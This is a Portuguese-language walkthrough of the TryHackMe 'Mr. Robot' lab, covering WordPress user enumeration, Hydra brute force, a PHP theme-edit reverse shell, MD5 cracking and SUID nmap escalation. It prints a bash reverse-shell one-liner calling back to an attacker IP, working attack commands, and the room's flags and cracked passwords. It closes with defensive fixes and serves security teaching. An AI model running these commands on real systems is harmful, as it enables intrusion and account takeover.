Mr. Robot - Desafio Hacker [TryHackMe]
Resolvendo máquina nível médio do TryHackMe inspirada na série Mr. Robot - WordPress exploitation, hash cracking e privilege escalation via SUID
Writeup: Mr. Robot (TryHackMe)
WordPress Exploitation, Brute Force, Reverse Shell e Privilege Escalation via SUID
Esta máquina é inspirada na série Mr. Robot e está disponível no TryHackMe. É uma box clássica pra praticar enumeração web, exploração de WordPress, quebra de hashes e escalação de privilégios através de binários SUID.
Link da sala: tryhackme.com/room/mrrobot
1. Enumeração Inicial
1.1 Scan de portas
Começamos com um scan básico para identificar os serviços rodando na máquina:
1
sudo nmap -sS 10.10.70.104
Para um scan mais detalhado com versões dos serviços:
1
sudo nmap -sS -sV -p22,80,443 10.10.70.104
Resultado da enumeração: Identificamos as seguintes portas abertas:
- Porta 80 (HTTP) - Apache HTTP Server
- Porta 443 (HTTPS) - Apache HTTP Server
A porta 22 (SSH) aparece como filtered/closed nesta máquina.
1.2 Enumeração de diretórios
Ao acessar o site pelo navegador, encontramos uma interface interativa inspirada na série. Agora precisamos descobrir o que mais existe no servidor.
Por que enumerar diretórios? Servidores web frequentemente têm arquivos e pastas que não são linkados diretamente na página principal - painéis de administração, arquivos de backup, configurações expostas, etc.
Podemos usar diferentes ferramentas para isso:
1
2
3
4
5
6
7
8
# Usando Gobuster
gobuster dir -u http://10.10.70.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
# Usando Dirsearch
dirsearch -u http://10.10.70.104
# Usando Dirb
dirb http://10.10.70.104
Descobertas importantes:
1
2
3
4
/wp-includes → Diretório do WordPress
/wp-login.php → Página de login do WordPress
/wp-admin → Painel administrativo
/robots.txt → Arquivo de configuração para crawlers
A presença de diretórios começando com wp- indica claramente que estamos lidando com um WordPress.
1.3 Análise do robots.txt
O arquivo robots.txt é usado para instruir bots de busca sobre quais páginas indexar. Frequentemente contém informações interessantes:
1
curl http://10.10.70.104/robots.txt
Resultado:
1
2
3
User-agent: *
fsocity.dic
key-1-of-3.txt
🚩 PRIMEIRA FLAG ENCONTRADA:
Acessando http://10.10.70.104/key-1-of-3.txt:
1
073403c8a58a1f80d943455fb30724b9
Também descobrimos um arquivo fsocity.dic - uma wordlist que será útil mais tarde!
1.4 Baixando e otimizando a wordlist
1
wget http://10.10.70.104/fsocity.dic
A wordlist contém muitas palavras duplicadas. Vamos otimizá-la:
1
cat fsocity.dic | sort | uniq > fsociety.dic
Explicação:
sort- Ordena as linhas alfabeticamenteuniq- Remove linhas duplicadas consecutivas (por isso o sort antes)>- Redireciona para um novo arquivo
Isso reduz drasticamente o tamanho da wordlist e o tempo de brute force.
2. Enumeração do WordPress
2.1 WPScan - Ferramenta especializada
Como identificamos um WordPress, podemos usar o WPScan para enumeração específica:
1
wpscan --url http://10.10.70.104
O WPScan identifica:
- Versão do WordPress
- Temas instalados
- Plugins (podem ter vulnerabilidades)
- Configurações de segurança
2.2 Identificando comportamento do login
Ao testar o login em /wp-login.php com credenciais aleatórias, notamos algo interessante:
- Login com usuário inválido: “Invalid username”
- Login com usuário válido mas senha errada: “The password you entered for the username…“
Vulnerabilidade de enumeração de usuários! O WordPress está nos dizendo exatamente qual campo está errado. Isso permite fazer brute force primeiro no usuário, depois na senha.
Entendendo o fluxo (por que a mensagem vaza o usuário): ao enviar o formulário, o navegador faz um
POST /wp-login.phpcom o corpolog=<usuario>&pwd=<senha>. No servidor, o WordPress primeiro procura o usuário (log) no banco; se ele não existe, devolve “Invalid username”. Só se o usuário existe é que ele compara a senha (pwd) com o hash guardado e, errando, devolve “The password you entered for the username X is incorrect”. Ou seja, a própria mensagem de erro denuncia em qual etapa o login falhou, transformando o login num oráculo de existência de usuário. É exatamente por isso que dá pra atacar em duas fases: primeiro achar umlogválido (filtrando pela mensagem “Invalid username”), depois quebrar só a senha desse usuário. Um login bem feito responde sempre a mesma mensagem genérica (“credenciais inválidas”), sem dizer qual campo errou.
3. Brute Force de Credenciais
3.1 Conceito do ataque
Brute Force é uma técnica que testa sistematicamente todas as combinações possíveis de credenciais. Com a wordlist que encontramos e a vulnerabilidade de enumeração, podemos:
- Primeiro, descobrir um usuário válido
- Depois, descobrir a senha desse usuário
3.2 Capturando a requisição de login
Usando um proxy como Burp Suite ou as ferramentas de desenvolvedor do navegador, interceptamos a requisição POST de login:
1
2
3
4
POST /wp-login.php
Content-Type: application/x-www-form-urlencoded
log=admin&pwd=admin&...
O corpo relevante é: log=^USER^&pwd=^PASS^
3.3 Brute Force com Hydra - Descobrindo usuário
Hydra é uma ferramenta poderosa para brute force de diversos protocolos:
1
hydra -L fsociety.dic -p senha 10.10.70.104 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -t 30 -V
Explicação dos parâmetros:
-L fsociety.dic- Wordlist de usuários (L maiúsculo = lista)-p senha- Senha fixa qualquer (p minúsculo = valor único)10.10.70.104- Alvohttp-post-form- Tipo de ataque (formulário POST)"/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"- Estrutura:- Página de login
- Corpo da requisição com variáveis
- Mensagem de erro para filtrar tentativas falhas
-t 30- 30 threads paralelas-V- Modo verbose
Resultado: Usuário encontrado → elliot
Podemos confirmar testando no login - a mensagem de erro muda!
3.4 Brute Force da senha
Agora que temos o usuário, buscamos a senha:
1
hydra -l elliot -P fsociety.dic 10.10.70.104 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username" -t 30 -V
Alternativa com WPScan (geralmente mais rápido para WordPress):
1
wpscan --url http://10.10.70.104 --passwords fsociety.dic --usernames elliot
Credenciais descobertas:
1
2
Login: elliot
Password: ER28-0652
4. Acesso ao WordPress e Reverse Shell
4.1 Acessando o painel administrativo
Com as credenciais, fazemos login em /wp-login.php. Somos o usuário Elliot com privilégios de administrador!
Mentalidade: ter o painel admin do WordPress já é RCE esperando pra acontecer. O WordPress executa PHP, e o administrador pode editar os arquivos
.phpdo tema/plugin pelo próprio painel. Então o plano se desenha sozinho: trocar o conteúdo de um arquivo PHP do tema por uma reverse shell e acessá-lo pelo navegador pra disparar a conexão de volta. Não precisa de exploit. A funcionalidade legítima de “editar tema” já entrega execução de código. Por isso a defesa correta édefine('DISALLOW_FILE_EDIT', true);nowp-config.php.
4.2 Conceito de Reverse Shell
Reverse Shell inverte a conexão típica - ao invés de conectarmos ao servidor, fazemos o servidor conectar de volta para nós. Isso é útil porque:
- Bypassa firewalls que bloqueiam conexões de entrada
- Funciona através de NAT
- Mais difícil de detectar
4.3 Preparando o listener
Na nossa máquina atacante, deixamos o netcat escutando:
1
nc -lvnp 53
Por que porta 53? A porta 53 é usada para DNS e raramente é bloqueada por firewalls. Outras opções comuns: 443, 4444, 1234.
Parâmetros do netcat:
-l- Modo listen (escuta)-v- Verbose-n- Não resolver DNS-p 53- Porta 53
4.4 Injetando código malicioso no WordPress
Existem várias formas de obter uma shell através do WordPress admin:
Opção 1: Editar um tema
- Vá em
Appearance > Editor - Selecione um arquivo PHP como
404.phpouarchive.php - Substitua o conteúdo pelo código da reverse shell
- Acesse a página para executar
Opção 2: Editar um plugin
- Vá em
Plugins > Editor - Edite um plugin existente como “Hello Dolly”
- Adicione o código malicioso
- Ative o plugin
Opção 3: Upload de plugin malicioso
- Crie um plugin com código PHP malicioso
- Faça upload via
Plugins > Add New > Upload - Ative o plugin
4.5 Código da Reverse Shell
Podemos usar a PHP reverse shell do Kali:
1
cp /usr/share/webshells/php/php-reverse-shell.php .
Ou usar um one-liner no código do plugin/tema:
1
exec("/bin/bash -c 'bash -i >& /dev/tcp/SEU_IP/53 0>&1'");
Não esqueça de alterar:
SEU_IP- Seu IP na VPN do TryHackMe- A porta deve corresponder ao listener
4.6 Executando a shell
Após editar o arquivo (por exemplo, archive.php do tema TwentyFifteen):
1
curl http://10.10.70.104/wp-content/themes/twentyfifteen/archive.php
Resultado: Conexão recebida no netcat!
1
2
$ whoami
daemon
5. Explorando o Sistema
5.1 Reconhecimento inicial
1
2
3
whoami # daemon
hostname # linux
ls /home # robot
Existe um usuário robot. Vamos explorar:
1
2
cd /home/robot
ls -la
Arquivos encontrados:
key-2-of-3.txt- Segunda flag (sem permissão de leitura)password.raw-md5- Hash MD5 da senha!
5.2 Analisando a hash
1
cat password.raw-md5
Resultado:
1
robot:c3fcd3d76192e4007dfb496cca67e13b
Temos o usuário robot e uma hash MD5 da senha.
5.3 Identificando o tipo de hash
Podemos confirmar que é MD5 com:
1
2
hash-identifier
# Cole a hash quando solicitado
MD5 produz hashes de 32 caracteres hexadecimais - confere!
6. Quebrando a Hash MD5
6.1 Métodos de quebra
MD5 é uma função de hash criptográfica (obsoleta para segurança). Para “quebrar”, precisamos encontrar o texto original que gera aquela hash.
Opção 1: John the Ripper
1
2
3
4
5
# Salvar a hash em um arquivo
echo 'c3fcd3d76192e4007dfb496cca67e13b' > md5.hash
# Quebrar com wordlist
john md5.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Opção 2: Hashcat
1
hashcat -m 0 'c3fcd3d76192e4007dfb496cca67e13b' /usr/share/wordlists/rockyou.txt --force
O -m 0 indica modo MD5.
Opção 3: Serviços online
Sites como CrackStation ou hashes.com possuem enormes bancos de dados de hashes pré-computadas.
Senha descoberta:
1
abcdefghijklmnopqrstuvwxyz
7. Escalando para Usuário Robot
7.1 O problema do terminal
Ao tentar trocar de usuário:
1
su robot
Erro: su: must be run from a terminal
Nossa reverse shell não tem um PTY (Pseudo Terminal) alocado, necessário para comandos interativos como su.
Através de pesquisa podemos achar a cola que nos ajuda nisso:
7.2 Upgrade da shell com Python
Verificamos se Python está disponível:
1
2
which python
whereis python
Spawning um PTY:
1
python -c 'import pty;pty.spawn("/bin/bash")'
Como funciona: A biblioteca pty em Python cria terminais pseudônicos - terminais virtuais que simulam um terminal real. O método pty.spawn("/bin/bash") inicia um bash com PTY alocado, permitindo interatividade completa.
7.3 Trocando para usuário robot
1
2
su robot
# Digite a senha: abcdefghijklmnopqrstuvwxyz
🚩 SEGUNDA FLAG ENCONTRADA:
1
cat key-2-of-3.txt
1
822c73956184f694993bede3eb39f959
8. Privilege Escalation - Root
8.1 Conceito de SUID
SUID (Set User ID) é uma permissão especial em Linux que permite executar um arquivo com os privilégios do dono do arquivo, não do usuário que está executando.
Por exemplo, o comando passwd precisa modificar /etc/shadow (arquivo de senhas), mas usuários normais não têm essa permissão. O passwd tem SUID setado com dono root, então executa com privilégios de root.
O perigo: Se um binário com SUID tiver funcionalidades que permitem executar comandos ou ler arquivos, podemos abusar disso para escalar privilégios.
8.2 Buscando binários SUID
1
find / -perm -4000 2>/dev/null
Explicação:
find /- Busca a partir da raiz-perm -4000- Arquivos com bit SUID (4000) setado2>/dev/null- Redireciona erros para null (limpa a saída)
Para filtrar apenas binários:
1
find / -perm +6000 2>/dev/null | grep '/bin/'
Nota (sintaxe atual): A forma
+6000é deprecada nofindmoderno (GNU findutils) e hoje retorna erro do tipofind: Mode '+6000' is not valid. A sintaxe atual usa a barra/para “qualquer um destes bits”:
1 2 3 4 5 # SUID + SGID (equivalente ao +6000 da época) find / -perm /6000 2>/dev/null | grep '/bin/' # Apenas SUID (bit 4000) find / -perm -4000 2>/dev/null | grep '/bin/'O
-perm -4000(com hífen) já era válido na época e continua sendo a forma mais usada para caçar binários SUID.
8.3 Binário vulnerável encontrado: nmap
Entre os resultados, encontramos:
1
/usr/local/bin/nmap
O nmap com SUID? Isso é perigoso! Versões antigas do nmap (como a 3.81 presente nesta máquina) possuem um modo interativo que permite executar comandos shell.
8.4 Explorando o nmap interativo
1
/usr/local/bin/nmap --interactive
Entramos no modo interativo do nmap:
1
2
3
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h for help
nmap>
Verificando os comandos disponíveis:
1
nmap> h #for help
O comando ! permite executar comandos shell. Como o nmap está rodando com SUID root, os comandos executam como root!
8.5 Obtendo shell root
1
2
3
nmap> !sh
# whoami
root
Conseguimos root! 🎉
8.6 Capturando a flag final
1
2
3
cd /root
ls -la
cat key-3-of-3.txt
🚩 TERCEIRA FLAG ENCONTRADA:
1
04787ddef27c3dee1ee161b21670b4e4
9. Resumo da Exploração
9.1 Cadeia de ataque completa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. Enumeração
└─> Descoberta do WordPress + robots.txt com wordlist e flag
2. Brute Force
└─> Credenciais do WordPress (elliot::ER28-0652)
3. Initial Access
└─> Reverse shell via edição de tema/plugin PHP
4. Lateral Movement
└─> Hash MD5 → senha do usuário robot
5. Privilege Escalation
└─> nmap SUID → shell interativo → root
9.2 Vulnerabilidades exploradas
| Vulnerabilidade | Impacto | Correção |
|---|---|---|
| Enumeração de usuários WordPress | Permite brute force direcionado | Plugins de segurança, mensagens genéricas |
| Credenciais fracas | Acesso administrativo | Senhas fortes, 2FA |
| Tema/Plugin editável | RCE via código PHP | Desabilitar edição de arquivos |
| Hash MD5 exposta | Credenciais de outro usuário | Não armazenar hashes acessíveis |
| nmap com SUID | Escalação para root | Remover SUID de binários desnecessários |
9.3 Lições de segurança
Do lado de quem administra, dá pra ver onde essa máquina escorregou. No WordPress, a edição de arquivos pelo painel devia estar desabilitada com define('DISALLOW_FILE_EDIT', true);, somado a limitar tentativas de login e usar um plugin de segurança - isso já matava o brute force e o RCE via tema. Nas permissões de arquivo, nunca deixar uma hash de senha acessível, e revisar periodicamente os binários SUID com find / -perm -4000. E o princípio do menor privilégio: tirar o SUID de binário que não precisa (o nmap aqui é o exemplo perfeito) e deixar cada usuário só com as permissões que realmente usa.
Flags capturadas:
073403c8a58a1f80d943455fb30724b9(via robots.txt)822c73956184f694993bede3eb39f959(via /home/robot)04787ddef27c3dee1ee161b21670b4e4(via /root)
Técnicas utilizadas: No caminho passamos por enumeração web e directory bruteforce, exploração de WordPress com enumeração de usuários, brute force de autenticação (Hydra/WPScan), reverse shell PHP via upload de webshell, quebra de hash MD5, upgrade de shell pra PTY e, no fim, exploração de binário SUID pra escalar privilégio.
Referências
- TryHackMe - Mr. Robot
- GTFOBins - nmap
- HackTricks - WordPress
- PentestMonkey - PHP Reverse Shell
- CrackStation
Nota: Esta é uma máquina excelente para iniciar com práticas de enumeração web, exploração de CMS e técnicas básicas de privilege escalation (escalação de privilégios). Para finalizar, deixaremos claro que a série ‘Mr. Robot’ é realmente altamente recomendada para quem gosta de hacking! :D
